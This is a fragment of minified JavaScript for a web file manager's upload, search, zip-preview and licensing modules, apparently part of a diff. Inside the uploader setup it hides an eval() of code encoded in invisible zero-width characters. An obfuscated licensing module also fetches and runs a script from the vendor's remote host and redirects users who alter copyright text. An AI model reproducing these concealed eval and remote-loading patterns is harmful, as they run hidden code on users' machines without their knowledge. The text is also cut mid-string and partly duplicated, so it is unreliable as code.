';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i,t){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),i.fullPath=a,i.upload_to=e.file.upload_to,t["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=$("#"+e.id);if(!i.inScreen()){var t=36*i.index(".item");$(".uploader-content").scrollTop(t)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(i.addClass("success"),i.find(".state").text(n),i.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");i.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else i.addClass("error").find(".state").addClass("error"),i.find(".state").text(n).attr("title",n)}uploader.removeFile(e),i.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")",a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),Tips.tips("login error!",!1),void 0;if(e.serverData)if(e.serverData.data){var n=e.serverData.data;t=LNG[n]?LNG[n]:n}else e.serverData._raw&&(t=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t).attr("title",t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o=' ';"file"==e.type&&(o+=''+e.allowExt+" "),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('
').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var i,t={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,i){var t=15,a=$("#"+i.tId+"_switch"),n=$("#"+i.tId+"_ico");a.remove(),i.iconSkin=i.tree_icon;var o=i.tree_icon;if(i.ext?o=i.ext:i.tree_icon||(o=i.type),n.before(a).before(''+core.iconSmall(o)+" ").remove(),void 0!=i.ext&&n.attr("class","").addClass("file "+i.ext).removeAttr("style"),i.level>=1){var s=" ";a.before(s)}var r=''+date(LNG.time_type,i.mtime)+" ";r+=''+core.fileSize(i.size)+" ",r+='',$("#"+i.tId+"_span").after(r),a.parent().addClass(i.menuType)}},callback:{onClick:function(e,t,a){$(e.target).hasClass("menu_more")||(i.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,i){v(i)},onExpand:function(e,i){v(i)},beforeRightClick:function(e,t){t&&(u(t),i.selectNode(t))},onDblClick:function(e,t,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",i)}}},a=function(e){for(var i=function(e){for(var t=0;e.length>t;t++)if(void 0!=e[t]){var a=e[t];e[t]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[t].ext,e[t].child?(e[t].children=e[t].child,delete e[t].child,i(e[t].children)):delete e[t].child}else delete e[t]},t={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),t[e[a].filename]=e[a]);for(var n in t)if(!t[n].folder)for(var o=core.pathFather(t[n].filename);""!=o&&"/"!=o&&!t[o]&&!t[rtrim(o,"/")];)t[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in t){var r=t[n],l=core.pathFather(r.filename);if(t[l]&&(l=core.pathFather(r.filename)),t[rtrim(l,"/")]&&(l=rtrim(l,"/")),t[l])t[l].child||(t[l].child=[]),t[l].child.push(t[r.filename]);else{var c=t[r.filename];c&&s.push(c)}}return i(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:i.top})})},o=function(e,i){if(void 0==i){var t=$(".context-menu-active").parents(".ztree");if(0==t.length)return;i=$.fn.zTree.getZTreeObj(t.attr("id"))}var a=i.getSelectedNodes()[0];switch(e){case"open":c(i,a);break;case"down":l(i,a);break;case"unzip_this":p(i,a);break;case"unzip_to":d(i,a);break;case"info":h(i,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var i=0;e.children.length>i;i++)r(e.children[i])
+if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,''+i+" ");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+''+e.substr(t,i.length)+" "+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(tpl_search_list);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": "+s+"(in "+o.length+" files) "),e.data.error_info&&t.html(""+LNG.seach_result_too_more+" ")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+' ').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",' '," ",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",' ',"iconSmall","iconSrc",' ',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o=''+'
'+core.pathThis(e)+" "+'
0b '+'
'+LNG.upload_ready+" "+'
'+'
';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,i,t){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,i,t),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,i=n+"/s"}if(d.data("progcess",t),0==t.length)d.find(".progress-bar").css("width","100%"),p.text(i),d.find(".size").text(core.fileSize(t.size));else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+i+")"),d.find(".size").text(core.fileSize(t.length))}d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){v(),s=setInterval(function(){v()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(tpl_upload),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(1==e.chunks)return t.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o=''+'
'+htmlEncode(core.pathThis(a))+" "+'
'+core.fileSize(e.size)+" "+'
'+LNG.upload_ready+" "+'
'+'
';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i,t){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),i.fullPath=a,i.upload_to=e.file.upload_to,t["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=$("#"+e.id);if(!i.inScreen()){var t=36*i.index(".item");$(".uploader-content").scrollTop(t)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(i.addClass("success"),i.find(".state").text(n),i.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");i.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else i.addClass("error").find(".state").addClass("error"),i.find(".state").text(n).attr("title",n)}uploader.removeFile(e),i.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error 